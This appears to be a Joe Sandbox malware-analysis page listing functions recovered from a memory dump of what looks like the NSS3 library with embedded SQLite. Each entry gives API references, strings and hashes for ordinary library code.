NULL, xrefs: 6CB6119E
$, xrefs: 6CB612A0
%lld, xrefs: 6CB6114B
'%.*q', xrefs: 6CB61217, 6CB61292

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: a3745c25167ee0a9e5fe0d47b61a3887e84dbccca10c277e6abfa2d8564575a6
Instruction ID: 28c946cef08c76d6d43cab6dcd8b6ecbfa0c975750e24552f191c0806b5c7f25
Opcode Fuzzy Hash: a3745c25167ee0a9e5fe0d47b61a3887e84dbccca10c277e6abfa2d8564575a6
Instruction Fuzzy Hash: 28E19D75A083809BD714CF1AC480A6BBBF5EF85358F08892DE98587B51E771E949CB83

Function 6CB68FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB68FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB690DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB69118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB6915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB691C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB69209

Strings

3333, xrefs: 6CB6925E
UUUU, xrefs: 6CB69255

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: d1d1c55dd0fd72906947836a3ef63e4424e475eb5ac01bdac0084e6fbc922802
Instruction ID: 4b44b3aa01e2c9cd30b3c944981bc5cf7320724b8c74e5bd4597c9b13471bb6d
Opcode Fuzzy Hash: d1d1c55dd0fd72906947836a3ef63e4424e475eb5ac01bdac0084e6fbc922802
Instruction Fuzzy Hash: BFA1AE72E001559BDB08CB69CC90BAEB7B9FF88324F094139E915A7741E736EC51CBA1

Function 6CA20FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CA1CA30: EnterCriticalSection.KERNEL32(?,?,?,6CA7F9C9,?,6CA7F4DA,6CA7F9C9,?,?,6CA4369A), ref: 6CA1CA7A
Part of subcall function 6CA1CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CA1CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CA2103E
EnterCriticalSection.KERNEL32(?), ref: 6CA21139
LeaveCriticalSection.KERNEL32(?), ref: 6CA21190
sqlite3_free.NSS3(00000000), ref: 6CA21227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CA2126E
sqlite3_free.NSS3(?), ref: 6CA2127F

Strings

winAccess, xrefs: 6CA2129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CA21267

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 92aa50f78b42a9b1fa4513be9cc29ef713a5788dcfeeecce756e5eabcb2629d2
Instruction ID: dfde9eaf98620ffe6d6bdce71c5eaf0db9b0fc8bedab87b15901ec084456c0ea
Opcode Fuzzy Hash: 92aa50f78b42a9b1fa4513be9cc29ef713a5788dcfeeecce756e5eabcb2629d2
Instruction Fuzzy Hash: B97119317042619BEB049F29ED85A7E3379FB46354F1C0229FA2587A80DB36DD85CB92

Function 6CA2AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?), ref: 6CA2B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B0A2
CloseHandle.KERNEL32(?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?,?,?), ref: 6CA2B100
sqlite3_free.NSS3(?,?,00000002,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31,?,?,?,?,?,?,?), ref: 6CA2B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CB4CF46,?,6CA1CDBD,?,6CB4BF31), ref: 6CA2B12D

Part of subcall function 6CA19EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CA2C6FD,?,?,?,?,6CA7F965,00000000), ref: 6CA19F0E
Part of subcall function 6CA19EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA7F965,00000000), ref: 6CA19F5D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: f8bd630076e0cf1f6736fd070bd06d3a453a1f12beefc448c33320f852181331
Instruction ID: 8ec4c7d15187a565c9e48f6f9190646f98c7649e46d722c00c9d43282c9003ea
Opcode Fuzzy Hash: f8bd630076e0cf1f6736fd070bd06d3a453a1f12beefc448c33320f852181331
Instruction Fuzzy Hash: F691E1B0A042158FDB14CF39D984A6BB7B6FF45304F1C462DE41697B50EB38E884CB51

Function 6CAFBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CAFBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CAFBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CAFBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CAFBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CAFBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CAFBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CAFBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CAFBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CAFBE1E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: f6646145b142168bab89939a98f0ecaddcac78fcdc5f0ecccda60c7f68c48e6b
Instruction ID: f1626b27c448ae5f34691c838994a140f204ce1f6111654983274936a2423b56
Opcode Fuzzy Hash: f6646145b142168bab89939a98f0ecaddcac78fcdc5f0ecccda60c7f68c48e6b
Instruction Fuzzy Hash: 3C21D5B6E0028957FB004696FD83F8B36789B9174DF0C0214F936EE681F730945A86A6

Function 6CBA8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CBF14E4,6CB5CC70), ref: 6CBA8D47
PR_GetCurrentThread.NSS3 ref: 6CBA8D98

Part of subcall function 6CA80F00: PR_GetPageSize.NSS3(6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F1B
Part of subcall function 6CA80F00: PR_NewLogModule.NSS3(clock,6CA80936,FFFFE8AE,?,6CA116B7,00000000,?,6CA80936,00000000,?,6CA1204A), ref: 6CA80F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CBA8E7B
htons.WSOCK32(?), ref: 6CBA8EDB
PR_GetCurrentThread.NSS3 ref: 6CBA8F99
PR_GetCurrentThread.NSS3 ref: 6CBA910A

Strings

%u.%u.%u.%u, xrefs: 6CBA8E74

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 5614f67b7e13cf9858bffcaf70f50f7c563752c9f6498775dfb4638ef8c19306
Instruction ID: 463e200f76c08d3e2d787a5cdb6731494da61c78cd0ce8f211f755c53ffdd05f
Opcode Fuzzy Hash: 5614f67b7e13cf9858bffcaf70f50f7c563752c9f6498775dfb4638ef8c19306
Instruction Fuzzy Hash: 8D029931D092D19FEB188F59C46876ABBB2EF42304F19825ED8D15FA91C333D94AC791

Function 6CA2EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

there is already an index named %s, xrefs: 6CA2F9D7
table, xrefs: 6CA2F05C, 6CA2FABC, 6CA2FAC7
%s %T already exists, xrefs: 6CA2FAC8
sqlite_temp_master, xrefs: 6CA2F0A6, 6CA2F2D5
authorizer malfunction, xrefs: 6CA2F95C, 6CA2F9BF, 6CA2FA5E, 6CA2FA8B
sqlite_master, xrefs: 6CA2F0AB, 6CA2F2DA, 6CA2F757, 6CA2F93E
view, xrefs: 6CA2F061, 6CA2F071, 6CA2FAB7
not authorized, xrefs: 6CA2F957, 6CA2F9BA
temporary table name must be unqualified, xrefs: 6CA2F734

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: c10f057a4fe8289c3480028c8d332cbcbdd06c9b3e00864307a9867db167f1d1
Instruction ID: 054ba72d522498f653538188c7a094f2479322cf7481ee7414b92625aacfe484
Opcode Fuzzy Hash: c10f057a4fe8289c3480028c8d332cbcbdd06c9b3e00864307a9867db167f1d1
Instruction Fuzzy Hash: 1E72A370E042658FDB14CF68C884BAABBF1FF49308F1881ADD9159B752D779E885CB90

Function 6CB49C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CA1C52B), ref: 6CB49D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB4A114

Strings

database corruption, xrefs: 6CB4A029, 6CB4A108
%s at line %d of [%.10s], xrefs: 6CB4A02E, 6CB4A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB4A01F, 6CB4A0E4, 6CB4A0FE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: e933d23d031e50b89c38d9499fa2023dae31193f3721af9dcc208cfb8880303c
Instruction ID: 37eeb235df391ff6931f0fe9ab69f5684f0df98ce92b5c8442573764baebfe73
Opcode Fuzzy Hash: e933d23d031e50b89c38d9499fa2023dae31193f3721af9dcc208cfb8880303c
Instruction Fuzzy Hash: 6B22AE71A0C3819FC704CF29C19062AB7E5FF8A344F14CA2DE9DA97A49D735E845EB42

Function 6CB69D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CA28637,?,?), ref: 6CB69E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CA28637), ref: 6CB69ED6

Strings

database corruption, xrefs: 6CB69ECA
%s at line %d of [%.10s], xrefs: 6CB69ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB69EC0

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e42217c57e781a7eeb2ac415d055abb2fefbebb3757dd59cb8079e77ea540958
Instruction ID: 257758bc8968cc427d8afde6a0284aae3c2dd62e3393a3f780d5ee52a4280f71
Opcode Fuzzy Hash: e42217c57e781a7eeb2ac415d055abb2fefbebb3757dd59cb8079e77ea540958
Instruction Fuzzy Hash: 9581D131F012958FDB04CFAAC980ADEB3F6EF48314B158169E819ABB41E730ED59CB51

Function 6CB77F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB781BC

Strings

out of memory, xrefs: 6CB7835B
BINARY, xrefs: 6CB78126

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 86285d0001dd9941a71bec2096facd1d738c49c5ed10c93c594c178de3a3aa24
Instruction ID: 2b41b2368489cf8b3f3242aa3642f658ab6a074384ad488091965471ddfb2207
Opcode Fuzzy Hash: 86285d0001dd9941a71bec2096facd1d738c49c5ed10c93c594c178de3a3aa24
Instruction Fuzzy Hash: EC52CF31E04298DFDB24CF99C880B9DBBB2FF48308F15815AD825BB751D731A846CBA0

Function 6CAF9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CAF9ED6

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CAF9EE4

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAF9F38

Part of subcall function 6CAFD030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CAF9F0B), ref: 6CAFD03B
Part of subcall function 6CAFD030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CAFD04E
Part of subcall function 6CAFD030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CAFD07B
Part of subcall function 6CAFD030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CAFD08E
Part of subcall function 6CAFD030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAFD09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CAF9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CAF9F59

Part of subcall function 6CAF9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CAF9C5B), ref: 6CAF9D82
Part of subcall function 6CAF9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CAF9C5B), ref: 6CAF9DA9
Part of subcall function 6CAF9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CAF9C5B), ref: 6CAF9DCE
Part of subcall function 6CAF9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CAF9C5B), ref: 6CAF9E43

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 838d6a532af507988b7cb29ebc009dd8989c8bfade609466ae2284ab2977ccdb
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: D31108B5F042015BF7109E759D00BAB7394AF9438CF140234F92A8B740FB72E99E8792

Function 6CBACDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBAD086
PR_Malloc.NSS3(00000001), ref: 6CBAD0B9
PR_Free.NSS3(?), ref: 6CBAD138

Strings

>, xrefs: 6CBACF5B

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 5d99d8fdda0e9dcc582e8fbed4aaf8e9eb370d3b0cc44404d065e460dbbeb600
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 9DD15D62B8D6C60BEB2448FD9C713E97793C742374F584325D9E18BBE5E61A8847C342

Function 6CB4AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d36a1d916dfe9678930b5691708e931e714273ecb695b63b5321fd2e39b7e4e0
Instruction ID: 546217773ec9e9c37b0471219156f432d64eb4200269951d402152699bb7e784
Opcode Fuzzy Hash: d36a1d916dfe9678930b5691708e931e714273ecb695b63b5321fd2e39b7e4e0
Instruction Fuzzy Hash: 2CF101B1E055A68BDB04CF68D8417AD77F8EB8E748F19822DC911D7B48E7709941CBC1

Function 6CB3DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CA15001,?,00000003,00000000), ref: 6CB3DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CA15001,?), ref: 6CB3E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CA15001,?), ref: 6CB3E2DA

Strings

W, xrefs: 6CB3E111

Memory Dump Source

